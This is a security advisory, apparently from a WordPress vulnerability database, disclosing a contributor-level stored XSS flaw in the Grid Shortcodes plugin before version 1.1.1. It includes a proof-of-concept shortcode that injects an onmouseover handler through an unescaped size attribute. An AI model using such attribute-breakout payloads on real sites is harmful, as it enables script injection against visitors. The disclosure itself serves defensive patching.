WordPress Plugin Vulnerabilities

Grid Shortcodes < 1.1.1 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

[GDC_row]
[GDC_column size='" onmouseover="alert(1123123)"']
Your content here
[/GDC_column]
[GDC_column size="third"]
Your content here
[/GDC_column]
[GDC_column size="third"]
Your content here
[/GDC_column]
[/GDC_row]

Affects Plugins

Fixed in 1.1.1

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes

Timeline

Publicly Published
2024-02-26 (about 2 months ago)
Added
2024-02-26 (about 2 months ago)
Last Updated
2024-02-26 (about 2 months ago)

Other